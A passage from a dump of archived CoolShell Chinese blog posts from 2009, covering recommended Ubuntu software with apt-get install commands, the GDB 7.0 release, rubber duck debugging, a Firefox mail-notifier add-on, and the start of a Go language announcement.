</p>\n<h4>桌面相关</h4>\n<p>1）<strong>Application Launcher</strong>。一个相当漂亮的程序启动器（sudo apt-get install gnome-do）</p>\n<p>2）<strong>Universal Applets</strong>。许多的桌面小程序。（sudo apt-get install universal-applets）APT Line: APT line: deb http://download.opensuse.org/repositories/home:/some-guy:/screenlets/xUbuntu_9.04/ ./</p>\n<p>3）<strong>剪贴板管理器</strong>。方便你的拷贝粘贴操作。（sudo apt-get install parcellite）</p>\n<p>　</p>\n<h4>音频/视频编辑器</h4>\n<p>1）<strong>视频编辑器PiTiVi</strong>。功能相当强大。（sudo apt-get install pitivi）</p>\n<p>2）<strong>视频捕捉Instanbul</strong>。（sudo apt-get install istanbul）</p>\n<p>3）<strong>音频录制编辑器Jokosher</strong>。一个强大的非线性多音轨的录音和编辑器。（sudo apt-get install jokosher）</p>\n<p>4）<strong>摄像头Cheese</strong>。基于GStreamer的一个摄像头程序（sudo apt-get install cheese）</p>\n<p>　</p>\n<h4>多媒体Playback</h4>\n<p>1）<strong>多媒体中心Moovida</strong>。原名是Elisa。一个很不错的家庭影院程序。（sudo apt-get install moovida）</p>\n<p>2）<strong>视频Feed软件Miro</strong>。原名是Democracy Player。（sudo apt-get install miro）</p>\n<p>3）<strong>媒体播放器Banshee</strong>。（sudo apt-get install banshee）</p>\n<p>　</p>\n<h4>网页浏览器</h4>\n<p>Firefox 3.5就不多说了。</p>\n<p>1）<strong>Google Chrome</strong>。（sudo apt-get install chromium-browser）</p>\n<p>2）<strong>Epiphany</strong>。GNOME的集成浏览器。（sudo apt-get install epiphany-browser）</p>\n<p>　</p>\n<h4>游戏</h4>\n<p>1）<strong>PlayDeb</strong>。<a href=\"http://blog.thesilentnumber.me/2009/07/playdebnet-beta-2-launches.html\">PlayDeb</a>是一个游戏库。通过PlayDeb.net安装游戏是相当简单和方便的。你可以把其加到你的源里<a href=\"http://archive.getdeb.net/install_deb/playdeb_0.3-1~getdeb1_all.deb\">playdeb package</a>。（wget -O- http://archive.getdeb.net/getdeb-archive.key | sudo apt-key add -）</p>\n<p>2）<strong>Yo Frankie!</strong>。这个大名鼎鼎的游戏我就不介绍了。（sudo apt-get install yofrankie）</p>\n<p>3）<strong>Nexuiz</strong>。第一人称视角射击类的游戏。（sudo apt-get install nexuiz）</p>\n<p>　</p>\n<h4>图片和发行物</h4>\n<p>1）<strong>图片管理器Solang</strong>。F-Spot做得并不令人满意，你可以试试这个最新的管理器。（sudo apt-get install solang）</p>\n<p>2）<strong>向量图Inkscape</strong>。SVG文件格式，很像Illustrator, CorelDraw。（sudo apt-get install inkscape）</p>\n<p>3）<strong>3D图片Blender</strong>。相当不错的一个3D图创建器。<a href=\"http://en.wikipedia.org/wiki/Blender_Foundation#Open_Movie_Project\">Open Movie Project</a>的一部分。（sudo apt-get install blender）</p>\n<p>4）发<strong>行物编辑器Scribus</strong>。你可以用这个软件来制作一些报纸，小册子，卡片，海报，封面等发行物。（sudo apt-get install scribus）</p>\n<p>　</p>\n<h4>文件分享</h4>\n<p>1）<strong>P2P软件Gnunet</strong>。一个MP3的P2P分享软件（sudo apt-get install gnunet-gtk）</p>\n<p>2）<strong>直连DC++。</strong>最好的方式就是直接。DC++是这其中最好的。（sudo apt-get install linuxdcpp）</p>\n<p>3）<strong>Usenet – LottaNZB</strong>。虽然不是名费的，但Usenet下载是奇快无比。LottaNZB是其中一个client。（sudo apt-get install lottanzb）</p>\n<p>4）<strong>BT下载Deluge</strong>。功能齐全的BT客户端。（sudo apt-get install deluge）</p>\n<p>　</p>\n<h4>时间管理</h4>\n<p>1）<strong>Alarm Clock</strong>。一个日历提醒程序。（sudo apt-get install alarm-clock）</p>\n<p>2）<strong>时间跟踪Hamster</strong>。这个小程序可以统计你操作不同程序的时间。（sudo apt-get install hamster-applet）</p>\n<p>　</p>\n<h4>沟通软件</h4>\n<p>1）<strong>即时聊天Empathy</strong>。</p>\n<p>2）<strong>微博写作器Gwibber</strong>。可以用于Twitter, Identi.ca, Jaiku, Facebook, Digg等等。（sudo apt-get install gwibber）</p>\n<p>3）<strong>QQ 和 Skype</strong>。这是我加上的，你可以在QQ的网上下载Linux版，很不错。还有Skype。</p>\n<p>　</p>\n<h4>安全和隐私</h4>\n<p>1）<strong>On-The-Fly 加密</strong>。<a href=\"http://sd4l.sourceforge.net/\">http://sd4l.sourceforge.net/</a></p>\n<p>2）<strong>VPN访问</strong>。sudo apt-get install network-manager-pptp</p>\n<p>3）<strong>Onion Routing</strong>。这个软件中最著名的就是我在文章前提到过的Tor，那个可以绕过GFW的软件。（sudo apt-get install tor tor-geoipdb）</p>\n<p>4）<strong>防火墙</strong>。sudo apt-get install gufw</p>\n<p>5）<strong>杀毒软件ClamAV</strong>。sudo apt-get install clamtk</p>\n<p>　</p>\n<h4>系统工具</h4>\n<p>1）<strong>LiveUSB Creator</strong>。想用USB启动你的电脑吗？用UNetbootin这个工具吧。（sudo apt-get install unetbootin）</p>\n<p>2）<strong>备份工具Back In Time</strong>。sudo apt-get install backintime-gnome</p>\n<p>3）<strong>磁盘分区工具</strong>。GNOME Partition Editor可以帮你管理你的USB，IPOD或其它可写存储（sudo apt-get install gparted）</p>\n<p>4）<strong>虚拟机VirtualBox</strong>。这个开源的虚拟机，还不错。sudo apt-get install virtualbox-3.0</p>\n<p> </p>\n<p>好了，基本上就是这些，我要说，没有图片的支持，看来这篇文章不怎么的。呵呵。不过希望你喜欢。也希望你给我们推荐你所喜欢的Ubuntu工具。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4826.html\"><img alt=\"GNU/Linux下有多少是GNU的？\" height=\"150\" src=\"../wp-content/uploads/2011/06/GNUTotalSplit-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4826.html\">GNU/Linux下有多少是GNU的？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2352.html\"><img alt=\"telnet的一个Bug\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2352.html\">telnet的一个Bug</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1097.html\"><img alt=\"Ksplice Uptrack — Ubuntu更新不用重启\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1097.html\">Ksplice Uptrack — Ubuntu更新不用重启</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/501.html\"><img alt=\"Ubuntu的并行启动\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/501.html\">Ubuntu的并行启动</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/424.html\"><img alt=\"PDF电子书搜索引擎\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/424.html\">PDF电子书搜索引擎</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2271.html\"><img alt=\"Emacs配色在线生成器\" height=\"150\" src=\"../wp-content/uploads/2010/03/emacs_color_theme-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2271.html\">Emacs配色在线生成器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1644.html\">装完Ubuntu 9.10后要干的事</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-10-9 GDB 7.0 发布.html",
    "content": "<html><body><p><a href=\"http://www.gnu.org/software/gdb/mascot/\"><img alt=\"\" class=\"alignright\" height=\"125\" src=\"http://www.gnu.org/software/gdb/images/archer.jpg\" title=\"GDB: The GNU Project Debugger 吉祥物\" width=\"200\"/></a>2009年10月06日，GDB7.0正式发布，新的版本你可以在<a href=\"http://www.gnu.org/software/gdb/download/\" target=\"_blank\">这里下载</a>。本次版本，不但有大家所关注的《GDB<a href=\"https://coolshell.cn/articles/1502.html\" target=\"_blank\">回溯调试技术</a>》，同样还有其它大量的新特性，和对新平台的支持。</p>\n<p>新版的GDB7.0支持如下新的平台或配置：</p>\n<ul>\n<li>x86/x86_64 Darwin</li>\n<li>x86_64 MinGW</li>\n<li>Lattice Mico32</li>\n<li>x86/x86_64 DICOS</li>\n<li>S+core 3</li>\n<li>The remote stub now supports x86 Windows CE</li>\n</ul>\n<p>其主要的新加入的功能有：（看上去相当地高科技啊，很多术语都不知道怎么翻译，请注意后面的相关解释）</p>\n<ul>\n<li>Python 脚本调试</li>\n<li>回溯调试，调式过程记录并重演。</li>\n<li>不间隔调试。 Non-stop debugging</li>\n<li>并行调试。 Multi-architecture debugging</li>\n<li>多进程调试。Multi-inferior, multi-process debugging</li>\n</ul>\n<p><span id=\"more-1525\"></span></p>\n<blockquote><p><strong>注释：</strong></p>\n<ul>\n<li>Non-stop 的意思是，当我们在调试一个进程中的某一个或某一些线程时，可以让没有被调试的线程继续运行不停止。</li>\n<li>Multi-architecture在字面上理解是多层架构，但应该是关于并行方面的（请大家指正），比如MIPS或SPARC等并行编程方面的。</li>\n<li>Multi-inferior的意思是，你可以同时调试多个不同的进程。在某些情况下，这会更容易帮助我们了解程序的内部执行情况。</li>\n</ul>\n</blockquote>\n<p>当然，本版本也包括了下面的一些改进和补丁：</p>\n<p style=\"PADDING-LEFT: 30px; TEXT-ALIGN: left;\">* GDB 为JIT 提供了一个编译接口<br/>\n* Tracepoints 可以加上条件<br/>\n* 支持多字节和宽字符<br/>\n* 为”disassemble”新增加/r 和/m 参数<br/>\n* 对共享库的自动获取<br/>\n* 支持内联函数<br/>\n* 新的远程协议包<br/>\n* GDB 开始可以读取压缩调试片段<br/>\n* 在Tru64平台下支持线程切换<br/>\n* 支持Ada 任务切换<br/>\n* gdbserver的新功能 ——GDB remote stub<br/>\n* 一个新的命令，当有系统调用发生时可以停止正在运行的程序</p>\n<p style=\"TEXT-ALIGN: left;\">(全文完)</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1502.html\"><img alt=\"高科技：GDB回溯调试\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1502.html\">高科技：GDB回溯调试</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3643.html\"><img alt=\"GDB中应该知道的几个调试方法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3643.html\">GDB中应该知道的几个调试方法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1719.html\"><img alt=\"橡皮鸭程序调试法\" height=\"150\" src=\"../wp-content/uploads/2009/11/Rubber-Duck-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1719.html\">橡皮鸭程序调试法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1379.html\"><img alt=\"如何调试bash脚本\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1379.html\">如何调试bash脚本</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1242.html\"><img alt=\"23,148,855,308,184,500\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1242.html\">23,148,855,308,184,500</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1525.html\">GDB 7.0 发布</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-10 橡皮鸭程序调试法.html",
    "content": "<html><body><p><img alt=\"Rubber Duck Debugging\" class=\"size-thumbnail wp-image-1721 alignright\" height=\"150\" src=\"../wp-content/uploads/2009/11/Rubber-Duck-150x150.jpg\" title=\"Rubber Duck Debugging\" width=\"150\"/>下面，让我来为你介绍一个程序调试大法——“橡皮鸭程序调试法”，这个方法在调试界是很出众的，实施起来相当方便和简易，几乎可以随时随地地实验，几乎不需要借助任何的软件和硬件的支持，你甚至可以把你的程序打印出来，在纸面上进行调试。</p>\n<p>那么，为什么这个方法要叫做橡皮鸭呢？因为橡皮鸭子是西方人在泡澡时最喜欢玩的一个小玩具，所以，这个东西应该家家户户都必备的。因为，这个方法由西方人发明，所以，就被取名为“橡皮鸭”了。</p>\n<p>好了，话不多说，下面是整个调试方法的流程。</p>\n<ol>\n<li>找一个橡皮鸭子。你可以去借，去偷，去抢，去买，自己制作……反正你要搞到一个橡皮鸭子。</li>\n<li>把这个橡皮鸭子放在你跟前。标准做法是放在你的桌子上，电脑显示器边，或是键盘边，反正是你的跟前，面朝你。</li>\n<li>然后，打开你的源代码。不管是电脑里的还是打印出来的。</li>\n<li>对着那只橡皮鸭子，把你写下的所有代码，一行一行地，精心地，向这只橡皮鸭子解释清楚。记住，这是解释，你需要解释出你的想法，思路，观点。不然，那只能算是表述，而不是解释。</li>\n<li>当你在向这只始终保持沉默的橡皮鸭子解释的过程中，你会发现你的想法，观点，或思路和实际的代码相偏离了，于是你也就找到了代码中的bug。</li>\n<li>找到了BUG，一定要记得感谢一下那个橡皮鸭子哦。</li>\n</ol>\n<p>什么？你觉得这个方法太“愚蠢”，太“弱智”了？是的，看上去，会这样做的人脑子好像是有点毛病。不过，我要告诉你的是，这个方法的确有效。<strong>因为，这就是“Code Review”的雏形</strong>！下面让我来给你解释一下。</p>\n<p><span id=\"more-1719\"></span></p>\n<blockquote><p>Once a problem is described in sufficient detail, its solution is obvious.</p></blockquote>\n<p>上面这句话的意思是</p>\n<blockquote><p>一旦一个问题被充分地描述了他的细节，那么解决方法也是显而易见的。</p></blockquote>\n<p>我相信在座的各位都有过这样的经历，当你死活都找不到问题的原因的时候，当你寻求他人的帮助时，对别人解释整个你的想法和意图或是问题背景的时候，你自己都没有解释完，就已经找到问题的原因了。这样的经历，相信大家一定有过。这就是这个方法的意义所在。</p>\n<p>所以，“橡皮鸭”只是一个形式，其主要目的是要你把自己写的代码做“自查”，也就是自己解释给自己听。当然，为了不让你像个“精神分裂”的程序员，引入“橡皮鸭”是很有必要的（虽然这样还是有点精神病，但比起精神分裂来说算是好的了，嘻嘻）。所以，真实的本质是Code Review。关于代码评审，大家可以看一下我的这篇文章《<a href=\"https://coolshell.cn/articles/1302.html\" rel=\"bookmark\">Code Review中的几个提示</a>》，你会明白其中更多的东西的。</p>\n<p>最后，我想和大家说一下道具“橡皮鸭”。是的，在我们的身边，你不一定能找得“橡皮鸭”，但你可以找到你你的同事，你的朋友，来做这个“橡皮鸭”，当然，他们并不一定有“橡皮鸭”好使，因为你的那些同事或朋友一定会在你解释的时候，随意地发表意见和看法，相当的令人annoying。《<a href=\"https://coolshell.cn/articles/1302.html\" rel=\"bookmark\">Code Review中的几个提示</a>》和《<a href=\"https://coolshell.cn/articles/16.html\" rel=\"bookmark\">结对编程的利与弊</a>》也谈到了一些，供你借鉴。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17757.html\"><img alt=\"如何重构“箭头型”代码\" height=\"150\" src=\"../wp-content/uploads/2017/04/IMG_7411-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17757.html\">如何重构“箭头型”代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11432.html\"><img alt=\"从Code Review 谈如何做技术\" height=\"150\" src=\"../wp-content/uploads/2014/04/code_review-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11432.html\">从Code Review 谈如何做技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4875.html\"><img alt=\"一个空格引发的惨剧\" height=\"150\" src=\"../wp-content/uploads/2011/06/20110620115951113-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4875.html\">一个空格引发的惨剧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1525.html\"><img alt=\"GDB 7.0 发布\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1525.html\">GDB 7.0 发布</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1502.html\"><img alt=\"高科技：GDB回溯调试\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1502.html\">高科技：GDB回溯调试</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1719.html\">橡皮鸭程序调试法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-11 Firefox插件WebMail Notifier.html",
    "content": "<html><body><p>当你的邮箱有新邮件时，WebMail Notifier此插件会自动提醒你。</p>\n<p>支持：gmail, yahoo, hotmail, daum, naver, empas, nate等。</p>\n<div id=\"addon-summary-wrapper\">\n<table border=\"0\" summary=\"附加组件信息\">\n<tbody>\n<tr>\n<td rowspan=\"8\"> <img alt=\"\" src=\"https://addons.mozilla.org/en-US/firefox/images/t/15233/1184587092\"/></td>\n</tr>\n<tr>\n<th>版本</th>\n<td>1.5.3</td>\n</tr>\n<tr>\n<th>兼容版本</th>\n<td>Firefox: 1.5 – 3.7a1pre</td>\n</tr>\n<tr>\n<th>已更新</th>\n<td><span title=\"2009 年 10 月  8 日 08:16\">2009 年 10 月 8 日 </span></td>\n</tr>\n<tr>\n<th>开发者</th>\n<td><a href=\"https://addons.mozilla.org/zh-CN/firefox/user/104093\" target=\"_blank\">Byungwook Kang</a></td>\n</tr>\n<tr>\n<th>主页</th>\n<td><strong><a href=\"http://webmailnotifier.mozdev.org/\" target=\"_blank\">http://webmailnotifier.mozdev.org/</a> </strong></td>\n</tr>\n<tr>\n<th>评分</th>\n<td><span title=\"评分 4 超过了 5 星\">评分 4 超过了 5 星 </span><a href=\"https://addons.mozilla.org/zh-CN/firefox/addon/4490#reviews\" target=\"_blank\"><strong>728</strong> 条意见 </a></td>\n</tr>\n<tr>\n<th>下载次数</th>\n<td><strong>3,239,874 </strong></td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>查看：<a href=\"https://addons.mozilla.org/zh-CN/firefox/addon/4490\" target=\"_blank\">https://addons.mozilla.org/zh-CN/firefox/addon/4490</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2936.html\"><img alt=\"Mozilla的一个BUG\" height=\"150\" src=\"../wp-content/uploads/2010/09/Mozilla-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2936.html\">Mozilla的一个BUG</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2667.html\"><img alt=\"浏览器正则表达式检查插件\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2667.html\">浏览器正则表达式检查插件</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2069.html\"><img alt=\"一个浏览器市场占有量的图\" height=\"150\" src=\"../wp-content/uploads/2010/01/browser_history-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2069.html\">一个浏览器市场占有量的图</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/732.html\"><img alt=\"Glassfish ESB 的教程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/732.html\">Glassfish ESB 的教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/294.html\"><img alt=\"OSGi和Java企业级运算的未来方向\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/294.html\">OSGi和Java企业级运算的未来方向</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8239.html\"><img alt=\"无锁队列的实现\" height=\"150\" src=\"../wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8239.html\">无锁队列的实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1714.html\">Firefox插件WebMail Notifier</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-11 Go 语言：Google 的新编程语言.html",
    "content": "<html><body><p><span style=\"color: #ff0000;\">Go</span>ogle 今天发布了自制的编程语言，叫做Go，官方网站如下：</p>\n<ul>\n<li><a href=\"http://golang.org/\">http://golang.org/</a></li>\n</ul>\n<p>主要参与者名单繁星满天：</p>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Ken_Thompson\">Ken Thompson</a> (Unix之父之一…好拗口)</li>\n<li><a href=\"http://research.google.com/people/r/\">Rob Pike</a> (Unix团队成员, 著书《 <em><a href=\"http://en.wikipedia.org/wiki/The_Practice_of_Programming\" style=\"text-decoration: none; color: #002bb8; background-image: none; background-color: initial;\" title=\"The Practice of Programming\">The Practice of Programming</a></em> 》and《 <em><a href=\"http://en.wikipedia.org/wiki/The_Unix_Programming_Environment_(book)\" style=\"text-decoration: none; color: #002bb8; background-image: none; background-color: initial;\" title=\"The Unix Programming Environment (book)\">The Unix Programming Environment</a></em>》)</li>\n<li>等等</li>\n</ul>\n<p>Logo图标 (一只 <span style=\"color: #ff0000;\">Go</span>pher, 金花鼠，作者 <a href=\"http://reneefrench.blogspot.com/\" style=\"color: #3333cc;\" target=\"_blank\">Renée French</a>)<br/>\n<img alt=\"logo-153x55\" height=\"55\" src=\"../wp-content/uploads/2009/11/logo-153x55.png\" title=\"logo-153x55\" width=\"153\"/></p>\n<p>为什么Google要做自己的编程语言呢？</p>\n<ul>\n<li>快，安全，处理并发 （其余的<a href=\"http://golang.org/doc/go_talk-20091030.pdf\">讲义在此</a>）</li>\n</ul>\n<p>似乎Google内部官方编程语言之战在即… C, C++, Java, Python, JavaScript, and now <a href=\"http://golang.org/\">Go</a> and <a href=\"http://www.zimbu.org/\">Zimbu</a>(by VIM 的作者)</p>\n<p><a href=\"http://v.youku.com/v_show/id_XMTMxMzIwMTQ4.html\">Go programming language Tech Talk</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3156.html\"><img alt=\"Go语言的”Issue 9″ Closed!\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3156.html\">Go语言的”Issue 9″ Closed!</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1781.html\"><img alt=\"Go语言更名Issue 9？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1781.html\">Go语言更名Issue 9？</a></li><li><a class=\"wp_rp_thumbnail\" 